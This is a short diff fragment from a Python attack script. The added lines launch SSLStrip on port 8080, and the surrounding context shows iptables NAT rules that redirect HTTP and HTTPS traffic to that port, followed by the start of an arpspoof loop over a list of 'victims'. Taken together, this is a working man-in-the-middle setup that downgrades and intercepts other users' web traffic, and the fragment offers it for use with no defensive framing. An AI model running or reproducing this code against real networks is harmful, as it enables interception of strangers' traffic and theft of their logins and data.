|
|
@ -34,6 +34,8 @@ os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE") |
|
|
|
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080") |
|
|
|
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080") |
|
|
|
|
|
|
|
# run SSLStrip on port 8080 |
|
|
|
os.system("python /sslstrip/sslstrip.py -l 8080") |
|
|
|
|
|
|
|
# run the arpspoof for each victim, each one in a new console |
|
|
|
for victim in victims: |
|
|
|